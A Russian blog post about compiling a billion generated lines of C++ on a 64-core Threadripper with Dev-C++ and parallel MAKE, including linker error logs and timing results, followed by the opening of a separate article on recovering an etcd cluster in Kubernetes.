[C++Builder](https://www.embarcadero.com/products/cbuilder) имеет несколько различных компиляторов, в том числе классический компилятор Borland и современные компиляторы на основе Clang для нескольких платформ. Кроме того, Embarcadero спонсирует среду Dev-C++ с открытыми исходниками, содержащую в комплекте компилятор [TDM-GCC](https://jmeubank.github.io/tdm-gcc/) 9.2.0. GCC 9.2.0 содержит MAKE, поддерживающий параллельную компиляцию при помощи параметра командной строки `-j` (Jobs). У C++Builder есть аддон под названием TwineCompile, реализующий в C++Builder параллельное компилирование. И C++Builder, и Dev-C++ созданы с помощью Delphi.
Насколько я понял из своих исследований, [TwineCompile](https://getitnow.embarcadero.com/TwineCompile-5.2.2/) обеспечивает более широкую функциональность, чем [MAKE Jobs](https://www.gnu.org/software/make/manual/html_node/Parallel.html), потому что [TwineCompile](https://getitnow.embarcadero.com/TwineCompile-5.2.2/) поддерживает компиляцию в фоновом режиме и другие функции улучшения производительности. Поддержка дополнительных функций типа компиляции в фоновом режиме зависит от IDE: Dev-C++ его не поддерживает, а C++Builder поддерживает с помощью [TwineCompile](https://getitnow.embarcadero.com/TwineCompile-5.2.2/). Dev-C++ — это отличная нативная IDE C++ для разработки под Windows, а C++Builder повышает производительность работы благодаря визуальному конструктору, мощному встроенному VCL RTL и расширенных функций параллельной компиляции. Кроме того, они основаны на разных компиляторах C++, поэтому это не совсем прямое сравнение; на самом деле, они дополняют друг друга.
Сторонние бенчмарки (не относящиеся к проекту из поста) для 3990X с TwineCompile:
---------------------------------------------------------------------------------
* Параметры машины: AMD Ryzen Threadripper 3990X (2,9 ГГц, 64 ядра, 128 потоков)
* Конфигурация: IDE Compile.
* Результаты: без TwineCompile, с TwineCompile
* 3:35:02, 0:05:44
Параллельная компиляция в Dev-C++
---------------------------------
В начале нашего квеста Dev-C++ не поддерживал флаг `-j` MAKE, поэтому эту задачу нужно было решить в первую очередь. Мне удалось обновить Dev-C++ и выпустить новую версию v6.3 со встроенным флагом `-j` для параллельной компиляции. Кроме того, теперь он по умолчанию используется для релизных сборок, что должно значительно снизить время компиляции для пользователей Dev-C++. Обновление необходимо было выпустить, потому что флаг командной строки нужно было добавить в MAKE, а не в командную строку компилятора. На реализацию потребовалось несколько дней, после чего была выпущена новая версия v6.3. В комплекте с этим релизом были выпущены все исправления ошибок за последние два месяца и вторая новая функций выбора произвольных встроенных консольных приложений. Вот примечания к версии [Dev-C++](https://github.com/Embarcadero/Dev-Cpp) v6.3:
Версия 6.3 – 30 января 2021 года
* Добавлено: по умолчанию для релизных сборок включена параллельная компиляция при помощи MAKE Jobs.
* Добавлено: 3 кнопки для настройки пользовательских вкладок командной строки.
* Обновлено: завершение кода и меню для тёмных тем.
* Обновлено: обтекание выбора вкладки редактора по CTRL-TAB.
* Исправлено: проблема с удалением файла Make clean.
* Исправлено: в строке состояния не отображается весь текст.
* Исправлено: проблема столбца hex окна Debug/CPU.
* Исправлено: закрытие вкладок в редакторе в режиме side by side.
Получив IDE Dev-C++, способную параллельно компилировать 1 миллиард строк на C++, мне нужно было добыть сам AMD Threadripper 3990X с 64 ядрами и 128 потоками. Threadripper имеет меньшие оценки на каждое ядро по PassMark, чем 5950X, но поскольку он имеет больше ядер, в сумме оценка выше. Показанный ниже скриншот сделан в PassMark и [демонстрирует сравнение двух процессоров](https://www.cpubenchmark.net/compare/AMD-Ryzen-9-5950X-vs-AMD-Ryzen-Threadripper-3990X/3862vs3674). Как видите, бенчмарк одного ядра 5950x равен 3491, а у 3990x он равен 2553. Однако общий многоядерный бенчмарк 3990x равен 80752, а у 5950x — всего 46045.
*Примечание: в видео не упоминается более мощный 64-ядерный Threadripper 3990X, использованный в этом посте.*
У ReliableSite.net [есть облачные машины на основе AMD Threadripper 3990X с 256 ГБ ОЗУ](https://www.reliablesite.net/dedicated-servers/64-core-server/amd-threadripper-3990x-256GB), удовлетворяющие требованиям нашего проекта. Можно выбрать два варианта конфигурации Windows: Windows Standard 2016 и Windows Standard 2019. Я выбрал Windows 2016 и сервис попытался установить на машину эту ОС, но не смог этого сделать ни на одном релизе; вероятно, это связано с проблемой лицензирования Microsoft процессоров и ядер в Windows Standard 2016. Как бы то ни было, ОС сменили на Windows Standard 2019 и всё установилось нормально.
Итак, у нас есть работающая машина с Windows 2019 на Threadripper и C++Builder с TwineCompile, плюс Dev-C++ v6.3 со встроенной поддержкой параллельной компиляции. Всё тестируется и работает замечательно. C++Builder смог скомпилировать [1 миллион строк на C++ из предыдущего поста](https://blogs.embarcadero.com/compile-1-million-lines-of-c-in-2-minutes-with-a-16-core-ryzen-9-5950x/) в четыре раза быстрее, чем на 5950x, а Delphi смогла скомпилировать [1 миллиард строк проектов Object Pascal](https://www.fmxexpress.com/ryzen-9-5950x-one-billion-lines-of-delphi-code-compiled-in-5-minutes-on-16-cores/) в 2,5 раза быстрее. Эти два сравнения мы оставим на следующие посты.
Одним из инструментов, используемых для замера использования процессорных ресурсов, стал [Task Manager DeLuxe](https://www.mitec.cz/tmx.html) компании [MiTeC](https://www.mitec.cz/). Task Manager DeLuxe удивляет объёмом предоставляемой о Windows информации. В TMX есть тёмный (актуальный для 2021 года) и светлый режим. TMX производит компания MiTeC, также создающая широкий ассортимент компонентов Delphi, предоставляющих доступ к большому объёму информации, которую можно найти в TMX. Вероятно, бОльшую часть информации из TMX можно использовать в своём приложении при помощи [MiTeC System Information Component Suite](https://www.mitec.cz/msics.html).
Когда я впервые запустил Task Manager DeLuxe на машине с 64-ядерным Threadripper 3990x, он не смог отобразить графики для отдельных процессоров и выдал ошибку. У меня коммерческая лицензия на Task Manager DeLuxe, поэтому я отправил письмо Михалу из MiTeC и ему удалось быстро решить проблему. Он выпустил новую версию Task Manager DeLuxe, которая теперь отлично запускается и работает на машине с 64 ядрами.
Следующей задачей стало непосредственное создание проекта из 1 миллиарда строк на C++, чтобы его можно было скомпилировать. Я начал с этого [проекта Scimark2](https://github.com/FMXExpress/Scimark2-Dev-Cpp) для Dev-C++ и разработал приложение на Delphi для быстрой генерации нужного количества строк кода. В конечном итоге я хотел запустить приложение, созданное из 1 миллиардов строк C++. Delphi-приложение берёт файлы LU.c и LU.h и дублирует последнюю функцию **LU\_factor()** столько раз, чтобы получилось нужное количество строк. Сама функция состоит из 69 строк, и чтобы избежать коллизий имён, каждая сгенерированная функция имеет имя файла и номер итерации.
Я попробовал несколько разных способов нарезки файлов проекта на C++, чтобы получить больше файлов и меньше строк или больше строк и меньше файлов. В проекте Delphi я создал 4 миллиона строк, разбросанных по 250 проектам. Для проекта на C++ один из способов нарезки заключался в создании 32 000 файлов из 31 250 строк на файл. Я пришёл к этому числу после тестирования, потому что мне показалось, что Dev-C++ лучше работает с мелкими файлами, большим количеством файлов для большого количества ядер, и что большое количество мелких файлов лучше имитирует реальный проект. Второй способ — 10 666 файлов по 93 750 строк на файл. Третий способ — 1000 файлов и 1000000 строк C++ на файл. Список файлов добавляется в файл проекта Dev-C++ после их генерации, то есть среде Dev-C++ нужно будет загрузить этот список файлов в свой список проекта.
Я обнаружил здесь узкое место — в Dev-C++ есть функции автодополнения кода и символов. Эти функции парсят файлы в проекте при его открытии, и достаточно сказать, что этот процесс ещё не распараллелен. Рано или поздно Dev-C++ загружается, но на обработку 32 тысяч файлов уходит довольно много времени (и даже 10 666 файлов). После того, как я с этим разобрался, я отключил автодополнения кода и символов, что позволило быстро загрузить проект с 1 миллиардом строк кода на C++. Похоже, Dev-C++ не испытывает никаких проблем с редактированием файла из 1 миллиона строк и работа ощущается довольно плавной.
Я столкнулся со второй проблемой — процедура Delphi [System.CPUCount](http://docwiki.embarcadero.com/Libraries/Sydney/en/System.CPUCount) сообщает, что есть не 128, а 32 потока. Вероятно, когда писали процедуру System.CPUCount, казалось, что 32 ядер будет достаточно, но мы уже давно миновали этот рубеж. В случае 5950X, имеющего 16 ядер и 32 потоков, процедура работает отлично, но в случае 3990X ошибается. Я сообщил об этой проблеме на портале Embarcadero Quality, однако уже существует сторонняя библиотека [NumCPULib4Pascal](https://github.com/Xor-el/NumCPULib4Pascal), которая должна сообщать правильное значение. А пока я создал свою сборку исполняемого файла Dev-C++ и жёстко прописал в нём 128 потоков.
Мы уже почти готовы приступать к компиляции 1 миллиарда строк кода! У нас есть оборудование, есть IDE, готовые компиляторы и проекты (нарезанные разным образом). В течение всего процесса я компилировал версии проекта на 1 миллиард строк C++ с разными размерами, чтобы выявить и устранить вышеупомянутые проблемы.
Давайте начнём с проекта на 1 миллиард строк, разделённого на 32 000 по 31 250 строк. Этот проект компилируется. Как и следует, он использует все ядра, но когда дело доходит до компоновки 32 000 файлов в один исполняемый, он начинает простаивать. Существует ограничение командную строки, не позволяющее передать компоновщику 32 000 файлов. [Максимальная длина командной строки Windows составляет 32768 байт](https://stackoverflow.com/questions/3205027/maximum-length-of-command-line-string), то есть USHORT в Windows API. Второй проект с 10 666 файлами и 93 750 строками на файл тоже компилируется, но простаивает по той же причине.
Третий проект с 1000 файлами и 1 000 000 строк на файл компилируется, но более медленно. В процессе компиляции он не использует все 128 ядер. При выборе -j64, -j128 и -j (автоматический выбор) в MAKE видно, что реально работают только примерно 34 из 64 ядер, хоть и исполняют 64 процесса g++. Во время этого процесса задействуется 81 ГБ ОЗУ, так что хорошо, что машина имеет 256 ГБ. Хотя после исполнения командной строки все файлы компилируются, сам компоновщик вылетает с ошибкой, пытаясь объединить все объектные файлы в исполняемый. Пока [все найденные на StackOverflow советы](https://stackoverflow.com/questions/10486116/what-does-this-gcc-error-relocation-truncated-to-fit-mean) по использованию различных аргументов командной строки не позволили решить проблему.
```
g++.exe scimark2.o FFT.o LU.o MonteCarlo.o SOR.o SparseCompRow.o Stopwatch.o Random.o kernel.o array.o LU0.o LU1.o LU2.o LU3.o LU4.o LU5.o LU6.o LU7.o LU8.o LU9.o LU10.o LU11.o LU12.o LU13.o LU14.o LU15.o LU16.o LU17.o LU18.o LU19.o LU20.o LU21.o LU22.o LU23.o LU24.o LU25.o LU26.o LU27.o LU28.o LU29.o LU30.o LU31.o LU32.o LU33.o LU34.o LU35.o LU36.o LU37.o LU38.o LU39.o LU40.o LU41.o LU42.o LU43.o LU44.o LU45.o LU46.o LU47.o LU48.o LU49.o LU50.o LU51.o LU52.o LU53.o LU54.o LU55.o LU56.o LU57.o LU58.o LU59.o LU60.o LU61.o LU62.o LU63.o LU64.o LU65.o LU66.o LU67.o LU68.o LU69.o LU70.o LU71.o LU72.o LU73.o LU74.o LU75.o LU76.o LU77.o LU78.o LU79.o LU80.o LU81.o LU82.o LU83.o LU84.o LU85.o LU86.o LU87.o LU88.o LU89.o LU90.o LU91.o LU92.o LU93.o LU94.o LU95.o LU96.o LU97.o LU98.o LU99.o LU100.o LU101.o LU102.o LU103.o LU104.o LU105.o LU106.o LU107.o LU108.o LU109.o LU110.o LU111.o LU112.o LU113.o LU114.o LU115.o LU116.o LU117.o LU118.o LU119.o LU120.o LU121.o LU122.o LU123.o LU124.o LU125.o LU126.o LU127.o LU128.o LU129.o LU130.o LU131.o LU132.o LU133.o LU134.o LU135.o LU136.o LU137.o LU138.o LU139.o LU140.o LU141.o LU142.o LU143.o LU144.o LU145.o LU146.o LU147.o LU148.o LU149.o LU150.o LU151.o LU152.o LU153.o LU154.o LU155.o LU156.o LU157.o LU158.o LU159.o LU160.o LU161.o LU162.o LU163.o LU164.o LU165.o LU166.o LU167.o LU168.o LU169.o LU170.o LU171.o LU172.o LU173.o LU174.o LU175.o LU176.o LU177.o LU178.o LU179.o LU180.o LU181.o LU182.o LU183.o LU184.o LU185.o LU186.o LU187.o LU188.o LU189.o LU190.o LU191.o LU192.o LU193.o LU194.o LU195.o LU196.o LU197.o LU198.o LU199.o LU200.o LU201.o LU202.o LU203.o LU204.o LU205.o LU206.o LU207.o LU208.o LU209.o LU210.o LU211.o LU212.o LU213.o LU214.o LU215.o LU216.o LU217.o LU218.o LU219.o LU220.o LU221.o LU222.o LU223.o LU224.o LU225.o LU226.o LU227.o LU228.o LU229.o LU230.o LU231.o LU232.o LU233.o LU234.o LU235.o LU236.o LU237.o LU238.o LU239.o LU240.o LU241.o LU242.o LU243.o LU244.o LU245.o LU246.o LU247.o LU248.o LU249.o LU250.o LU251.o LU252.o LU253.o LU254.o LU255.o LU256.o LU257.o LU258.o LU259.o LU260.o LU261.o LU262.o LU263.o LU264.o LU265.o LU266.o LU267.o LU268.o LU269.o LU270.o LU271.o LU272.o LU273.o LU274.o LU275.o LU276.o LU277.o LU278.o LU279.o LU280.o LU281.o LU282.o LU283.o LU284.o LU285.o LU286.o LU287.o LU288.o LU289.o LU290.o LU291.o LU292.o LU293.o LU294.o LU295.o LU296.o LU297.o LU298.o LU299.o LU300.o LU301.o LU302.o LU303.o LU304.o LU305.o LU306.o LU307.o LU308.o LU309.o LU310.o LU311.o LU312.o LU313.o LU314.o LU315.o LU316.o LU317.o LU318.o LU319.o LU320.o LU321.o LU322.o LU323.o LU324.o LU325.o LU326.o LU327.o LU328.o LU329.o LU330.o LU331.o LU332.o LU333.o LU334.o LU335.o LU336.o LU337.o LU338.o LU339.o LU340.o LU341.o LU342.o LU343.o LU344.o LU345.o LU346.o LU347.o LU348.o LU349.o LU350.o LU351.o LU352.o LU353.o LU354.o LU355.o LU356.o LU357.o LU358.o LU359.o LU360.o LU361.o LU362.o LU363.o LU364.o LU365.o LU366.o LU367.o LU368.o LU369.o LU370.o LU371.o LU372.o LU373.o LU374.o LU375.o LU376.o LU377.o LU378.o LU379.o LU380.o LU381.o LU382.o LU383.o LU384.o LU385.o LU386.o LU387.o LU388.o LU389.o LU390.o LU391.o LU392.o LU393.o LU394.o LU395.o LU396.o LU397.o LU398.o LU399.o LU400.o LU401.o LU402.o LU403.o LU404.o LU405.o LU406.o LU407.o LU408.o LU409.o LU410.o LU411.o LU412.o LU413.o LU414.o LU415.o LU416.o LU417.o LU418.o LU419.o LU420.o LU421.o LU422.o LU423.o LU424.o LU425.o LU426.o LU427.o LU428.o LU429.o LU430.o LU431.o LU432.o LU433.o LU434.o LU435.o LU436.o LU437.o LU438.o LU439.o LU440.o LU441.o LU442.o LU443.o LU444.o LU445.o LU446.o LU447.o LU448.o LU449.o LU450.o LU451.o LU452.o LU453.o LU454.o LU455.o LU456.o LU457.o LU458.o LU459.o LU460.o LU461.o LU462.o LU463.o LU464.o LU465.o LU466.o LU467.o LU468.o LU469.o LU470.o LU471.o LU472.o LU473.o LU474.o LU475.o LU476.o LU477.o LU478.o LU479.o LU480.o LU481.o LU482.o LU483.o LU484.o LU485.o LU486.o LU487.o LU488.o LU489.o LU490.o LU491.o LU492.o LU493.o LU494.o LU495.o LU496.o LU497.o LU498.o LU499.o LU500.o LU501.o LU502.o LU503.o LU504.o LU505.o LU506.o LU507.o LU508.o LU509.o LU510.o LU511.o LU512.o LU513.o LU514.o LU515.o LU516.o LU517.o LU518.o LU519.o LU520.o LU521.o LU522.o LU523.o LU524.o LU525.o LU526.o LU527.o LU528.o LU529.o LU530.o LU531.o LU532.o LU533.o LU534.o LU535.o LU536.o LU537.o LU538.o LU539.o LU540.o LU541.o LU542.o LU543.o LU544.o LU545.o LU546.o LU547.o LU548.o LU549.o LU550.o LU551.o LU552.o LU553.o LU554.o LU555.o LU556.o LU557.o LU558.o LU559.o LU560.o LU561.o LU562.o LU563.o LU564.o LU565.o LU566.o LU567.o LU568.o LU569.o LU570.o LU571.o LU572.o LU573.o LU574.o LU575.o LU576.o LU577.o LU578.o LU579.o LU580.o LU581.o LU582.o LU583.o LU584.o LU585.o LU586.o LU587.o LU588.o LU589.o LU590.o LU591.o LU592.o LU593.o LU594.o LU595.o LU596.o LU597.o LU598.o LU599.o LU600.o LU601.o LU602.o LU603.o LU604.o LU605.o LU606.o LU607.o LU608.o LU609.o LU610.o LU611.o LU612.o LU613.o LU614.o LU615.o LU616.o LU617.o LU618.o LU619.o LU620.o LU621.o LU622.o LU623.o LU624.o LU625.o LU626.o LU627.o LU628.o LU629.o LU630.o LU631.o LU632.o LU633.o LU634.o LU635.o LU636.o LU637.o LU638.o LU639.o LU640.o LU641.o LU642.o LU643.o LU644.o LU645.o LU646.o LU647.o LU648.o LU649.o LU650.o LU651.o LU652.o LU653.o LU654.o LU655.o LU656.o LU657.o LU658.o LU659.o LU660.o LU661.o LU662.o LU663.o LU664.o LU665.o LU666.o LU667.o LU668.o LU669.o LU670.o LU671.o LU672.o LU673.o LU674.o LU675.o LU676.o LU677.o LU678.o LU679.o LU680.o LU681.o LU682.o LU683.o LU684.o LU685.o LU686.o LU687.o LU688.o LU689.o LU690.o LU691.o LU692.o LU693.o LU694.o LU695.o LU696.o LU697.o LU698.o LU699.o LU700.o LU701.o LU702.o LU703.o LU704.o LU705.o LU706.o LU707.o LU708.o LU709.o LU710.o LU711.o LU712.o LU713.o LU714.o LU715.o LU716.o LU717.o LU718.o LU719.o LU720.o LU721.o LU722.o LU723.o LU724.o LU725.o LU726.o LU727.o LU728.o LU729.o LU730.o LU731.o LU732.o LU733.o LU734.o LU735.o LU736.o LU737.o LU738.o LU739.o LU740.o LU741.o LU742.o LU743.o LU744.o LU745.o LU746.o LU747.o LU748.o LU749.o LU750.o LU751.o LU752.o LU753.o LU754.o LU755.o LU756.o LU757.o LU758.o LU759.o LU760.o LU761.o LU762.o LU763.o LU764.o LU765.o LU766.o LU767.o LU768.o LU769.o LU770.o LU771.o LU772.o LU773.o LU774.o LU775.o LU776.o LU777.o LU778.o LU779.o LU780.o LU781.o LU782.o LU783.o LU784.o LU785.o LU786.o LU787.o LU788.o LU789.o LU790.o LU791.o LU792.o LU793.o LU794.o LU795.o LU796.o LU797.o LU798.o LU799.o LU800.o LU801.o LU802.o LU803.o LU804.o LU805.o LU806.o LU807.o LU808.o LU809.o LU810.o LU811.o LU812.o LU813.o LU814.o LU815.o LU816.o LU817.o LU818.o LU819.o LU820.o LU821.o LU822.o LU823.o LU824.o LU825.o LU826.o LU827.o LU828.o LU829.o LU830.o LU831.o LU832.o LU833.o LU834.o LU835.o LU836.o LU837.o LU838.o LU839.o LU840.o LU841.o LU842.o LU843.o LU844.o LU845.o LU846.o LU847.o LU848.o LU849.o LU850.o LU851.o LU852.o LU853.o LU854.o LU855.o LU856.o LU857.o LU858.o LU859.o LU860.o LU861.o LU862.o LU863.o LU864.o LU865.o LU866.o LU867.o LU868.o LU869.o LU870.o LU871.o LU872.o LU873.o LU874.o LU875.o LU876.o LU877.o LU878.o LU879.o LU880.o LU881.o LU882.o LU883.o LU884.o LU885.o LU886.o LU887.o LU888.o LU889.o LU890.o LU891.o LU892.o LU893.o LU894.o LU895.o LU896.o LU897.o LU898.o LU899.o LU900.o LU901.o LU902.o LU903.o LU904.o LU905.o LU906.o LU907.o LU908.o LU909.o LU910.o LU911.o LU912.o LU913.o LU914.o LU915.o LU916.o LU917.o LU918.o LU919.o LU920.o LU921.o LU922.o LU923.o LU924.o LU925.o LU926.o LU927.o LU928.o LU929.o LU930.o LU931.o LU932.o LU933.o LU934.o LU935.o LU936.o LU937.o LU938.o LU939.o LU940.o LU941.o LU942.o LU943.o LU944.o LU945.o LU946.o LU947.o LU948.o LU949.o LU950.o LU951.o LU952.o LU953.o LU954.o LU955.o LU956.o LU957.o LU958.o LU959.o LU960.o LU961.o LU962.o LU963.o LU964.o LU965.o LU966.o LU967.o LU968.o LU969.o LU970.o LU971.o LU972.o LU973.o LU974.o LU975.o LU976.o LU977.o LU978.o LU979.o LU980.o LU981.o LU982.o LU983.o LU984.o LU985.o LU986.o LU987.o LU988.o LU989.o LU990.o LU991.o LU992.o LU993.o LU994.o LU995.o LU996.o LU997.o LU998.o LU999.o -o Scimark2.exe -L"C:/Program Files (x86)/Embarcadero/Dev-Cpp/TDM-GCC-64/lib" -L"C:/Program Files (x86)/Embarcadero/Dev-Cpp/TDM-GCC-64/x86_64-w64-mingw32/lib" -static-libgcc -mcmodel=large -fPIC -Wl,--image-base -Wl,0x10000000
C:/Program Files (x86)/Embarcadero/Dev-Cpp/TDM-GCC-64/bin/../lib/gcc/x86_64-w64-mingw32/9.2.0/../../../../x86_64-w64-mingw32/lib/../lib/crt2.o: in function `check_managed_app':
C:/crossdev/src/mingw-w64-v7-git20191109/mingw-w64-crt/crt/crtexe.c:364:(.text+0x17):
relocation truncated to fit: R_X86_64_PC32 against symbol `.refptr.mingw_initltsdrot_force' defined in .rdata$.refptr.mingw_initltsdrot_force[.refptr.mingw_initltsdrot_force] section in C:/Program Files (x86)/Embarcadero/Dev-Cpp/TDM-GCC-64/bin/../lib/gcc/x86_64-w64-mingw32/9.2.0/../../../../x86_64-w64-mingw32/lib/../lib/crt2.o
C:/crossdev/src/mingw-w64-v7-git20191109/mingw-w64-crt/crt/crtexe.c:365:(.text+0x26):
relocation truncated to fit: R_X86_64_PC32 against symbol `.refptr.mingw_initltsdyn_force' defined in .rdata$.refptr.mingw_initltsdyn_force[.refptr.mingw_initltsdyn_force] section in C:/Program Files (x86)/Embarcadero/Dev-Cpp/TDM-GCC-64/bin/../lib/gcc/x86_64-w64-mingw32/9.2.0/../../../../x86_64-w64-mingw32/lib/../lib/crt2.o
C:/crossdev/src/mingw-w64-v7-git20191109/mingw-w64-crt/crt/crtexe.c:366:(.text+0x33):
relocation truncated to fit: R_X86_64_PC32 against symbol `.refptr.mingw_initltssuo_force' defined in .rdata$.refptr.mingw_initltssuo_force[.refptr.mingw_initltssuo_force] section in C:/Program Files (x86)/Embarcadero/Dev-Cpp/TDM-GCC-64/bin/../lib/gcc/x86_64-w64-mingw32/9.2.0/../../../../x86_64-w64-mingw32/lib/../lib/crt2.o
C:/crossdev/src/mingw-w64-v7-git20191109/mingw-w64-crt/crt/crtexe.c:367:(.text+0x40):
relocation truncated to fit: R_X86_64_PC32 against symbol `.refptr.mingw_initcharmax' defined in .rdata$.refptr.mingw_initcharmax[.refptr.mingw_initcharmax] section in C:/Program Files (x86)/Embarcadero/Dev-Cpp/TDM-GCC-64/bin/../lib/gcc/x86_64-w64-mingw32/9.2.0/../../../../x86_64-w64-mingw32/lib/../lib/crt2.o
C:/crossdev/src/mingw-w64-v7-git20191109/mingw-w64-crt/crt/crtexe.c:370:(.text+0x4d):
relocation truncated to fit: R_X86_64_PC32 against symbol `.refptr.__image_base__' defined in .rdata$.refptr.__image_base__[.refptr.__image_base__] section in C:/Program Files (x86)/Embarcadero/Dev-Cpp/TDM-GCC-64/bin/../lib/gcc/x86_64-w64-mingw32/9.2.0/../../../../x86_64-w64-mingw32/lib/../lib/crt2.o
C:/Program Files (x86)/Embarcadero/Dev-Cpp/TDM-GCC-64/bin/../lib/gcc/x86_64-w64-mingw32/9.2.0/../../../../x86_64-w64-mingw32/lib/../lib/crt2.o:
in function `pre_c_init':
C:/crossdev/src/mingw-w64-v7-git20191109/mingw-w64-crt/crt/crtexe.c:141:(.text+0x6a):
relocation truncated to fit: R_X86_64_PC32 against symbol `.refptr.mingw_app_type' defined in .rdata$.refptr.mingw_app_type[.refptr.mingw_app_type] section in C:/Program Files (x86)/Embarcadero/Dev-Cpp/TDM-GCC-64/bin/../lib/gcc/x86_64-w64-mingw32/9.2.0/../../../../x86_64-w64-mingw32/lib/../lib/crt2.o
C:/crossdev/src/mingw-w64-v7-git20191109/mingw-w64-crt/crt/crtexe.c:140:(.text+0x70): relocation truncated to fit: R_X86_64_PC32 against `.bss'
C:/crossdev/src/mingw-w64-v7-git20191109/mingw-w64-crt/crt/crtexe.c:144:(.text+0x80): relocation truncated to fit: R_X86_64_PC32 against symbol `__set_app_type' defined in .text section in C:/Program Files (x86)/Embarcadero/Dev-Cpp/TDM-GCC-64/x86_64-w64-mingw32/lib/libmsvcrt.a(dwngs00096.o)
C:/crossdev/src/mingw-w64-v7-git20191109/mingw-w64-crt/crt/crtexe.c:146:(.text+0x85): relocation truncated to fit: R_X86_64_PC32 against symbol `__p__fmode' defined in .text section in C:/Program Files (x86)/Embarcadero/Dev-Cpp/TDM-GCC-64/x86_64-w64-mingw32/lib/libmsvcrt.a(lib64_libmsvcrt_os_a-__p__fmode.o)
C:/crossdev/src/mingw-w64-v7-git20191109/mingw-w64-crt/crt/crtexe.c:146:(.text+0x8c): relocation truncated to fit: R_X86_64_PC32 against symbol `.refptr._fmode' defined in .rdata$.refptr._fmode[.refptr._fmode] section in C:/Program Files (x86)/Embarcadero/Dev-Cpp/TDM-GCC-64/bin/../lib/gcc/x86_64-w64-mingw32/9.2.0/../../../../x86_64-w64-mingw32/lib/../lib/crt2.o
C:/crossdev/src/mingw-w64-v7-git20191109/mingw-w64-crt/crt/crtexe.c:152:(.text+0x95): additional relocation overflows omitted from the output
collect2.exe: error: ld returned 1 exit status
C:DScimark2-Dev-Cpp-masterMakefile.win:25: recipe for target 'Scimark2.exe' failed
mingw32-make.exe: *** [Scimark2.exe] Error 1
```
После тестирования становится очевидно, что препятствием, вызывающим данную ошибку, является ограничение в 2 ГБ на размер исполняемого файла (несмотря на использование -mcmodel=medium или -mcmodel=large). Мне удалось заставить компилироваться 100 файлов с 1 000 000 строк на файл, и сгенерировался исполняемый файл размером примерно 1,1 ГБ. Я начал использовать флаг -Os (оптимизирующий размер), и это сдвинуло проект немного вперёд. Здесь стоит заметить, что чем больше исполняемый файл, тем хуже бенчмарк Scimark2, и это интересно. Первая успешная компиляция 1 миллиарда строк из 1000 файлов по 1 000 000 строк с флагом -Os сгенерировала за 1483 секунд (24,7 минуты) исполняемый файл размером 359 МБ. Также я попробовал 500 файлов по 2 000 000 строк и компиляция заняла больше времени. Стандартный проект Scimark2 в четыре раза быстрее, чем проект с дополнительным 1 миллиардом строк, когда исполняемый файл больше и применяется флаг -Os.
*500 файлов по 2 000 000 строк использовало до 156 ГБ, но не все 64 ядра.*
Мне не кажется, что это время компиляции точно характеризует Threadripper 3990x, поскольку при 1 миллионе и 2 миллионах строк кода на файл использовались не все ядра. Не знаю, проблема ли это MAKE и G++, или параметра -j, при котором количество ядер выбирается автоматически. Возможно, даже существует узкое место ввода-вывода машины, не позволяющее ей справляться с нагрузкой. Чем мельче файлы, тем больше ядер использует комбинация из MAKE/G++ и -j. Я также попробовал сравнить работу с флагом -pipe и без него (он позволяет использовать во время компиляции вместо файлов конвейеры). Любопытно здесь и то, что TwineCompile в C++Builder, похоже, не имеет такого ограничения. При использовании его при параллельной компиляции мгновенно запускаются все ядра.
Четверная компиляция
--------------------
Попытавшись ускорить компиляцию 1 миллиарда строк кода на C++, я загрузил 4 экземпляра Dev-C++ с 250 файлами по 1 000 000 строк в проекте и скомпилировал все четыре проекта одновременно. Это похоже на проект с 1 миллиардом строк на Object Pascal, потому что в нём компилировалось 250 проектов с 4 миллионами строк кода на проект. Ниже показаны результаты четверной компиляции.
*Четыре экземпляра Dev-C++*
*Примечание: на этом скриншоте есть баг — отображается всего 32 ядра и 64 потока, хотя на самом деле должно быть 64 ядра и 128 потоков.*
Результаты компиляции…
----------------------
* Ошибок: 0
* Предупреждений: 0
* Файл вывода: C:DScimark2-Dev-Cpp-master\_250\_1m\_DScimark2.exe
* Размер вывода: 90,0009765625 МиБ
* Время компиляции: 906,58 с
Результаты компиляции…
----------------------
* Ошибки: 0
* Предупреждения: 0
* Файл вывода: C:DScimark2-Dev-Cpp-master\_250\_1m\_CScimark2.exe
* Размер вывода: 90,0009765625 МиБ
* Время компиляции: 909,45 с
Результаты компиляции…
----------------------
* Ошибки: 0
* Предупреждения: 0
* Файл вывода: C:DScimark2-Dev-Cpp-master\_250\_1m\_AScimark2.exe
* Размер вывода: 90,0009765625 МиБ
* Время компиляции: 915,17 с
Результаты компиляции…
----------------------
* Ошибки: 0
* Предупреждения: 0
* Файл вывода: C:DScimark2-Dev-Cpp-master\_250\_1m\_BScimark2.exe
* Размер вывода: 90,0009765625 МиБ
* Время компиляции: 918,05 с
1 миллиард строк кода на C++ за 15 минут на AMD Threadripper 3990X
------------------------------------------------------------------
Этот проект был очень интересным. Есть целая куча флагов C++ для компилятора TDM-GCC наподобие -mtune=native, -mtune=znver2 и -mtune=znver3, которые я в этой конфигурации не пробовал. Как мы увидели из поста, программная поддержка современной машины с 64 ядрами и 128 потоками всё ещё требует совершенствования, но в целом работает и обеспечивает довольно серьёзную вычислительную мощь.
---
#### На правах рекламы
Прямо сейчас вы можете заказать [мощные серверы](https://vdsina.ru/cloud-servers?partner=habr253), которые используют новейшие процессоры [AMD Epyc](https://habr.com/ru/company/vdsina/blog/514570/). Гибкие тарифы — от 1 ядра CPU до безумных 128 ядер CPU, 512 ГБ RAM, 4000 ГБ NVMe.
[](https://vdsina.ru/cloud-servers?partner=habr253) | https://habr.com/ru/post/540962/ | null | ru | null |
# Ломаем и чиним etcd-кластер
**etcd** — это быстрая, надёжная и устойчивая к сбоям key-value база данных. Она лежит в основе Kubernetes и является неотъемлемой частью его control-plane, именно поэтому критически важно уметь бэкапить и восстанавливать работоспособность как отдельных нод, так и всего etcd-кластера.
В [предыдущей статье](https://habr.com/ru/post/541118/) мы подробно рассмотрели перегенерацию SSL-сертификатов и static-манифестов для Kubernetes, а также вопросы связанные c восстановлением работоспособности Kubernetes. Эта статья будет посвящена целиком и полностью восстановлению etcd-кластера.
---
Для начала я сразу должен сделать оговорку, что рассматривать мы будем лишь определённый кейс, когда etcd задеплоен и используется непосредственно в составе Kubernetes. Приведённые в статье примеры подразумевают что ваш etcd-кластер развёрнут с помощью static-манифестов и запускается внутри контейнеров.
Для наглядности возьмём схему stacked control plane nodes из [предыдущей статьи](https://habr.com/ru/post/541118/):
(стрелочки указывают на связи клиент --> сервер)Предложенные ниже команды можно выполнить и с помощью kubectl, но в данном случае мы постараемся абстрагироваться от плоскости управления Kubernetes и рассмотрим локальный вариант управления контейнеризированным etcd-кластером с помощью **crictl**.
Данное умение также поможет вам починить etcd даже в случае неработающего Kubernetes API.
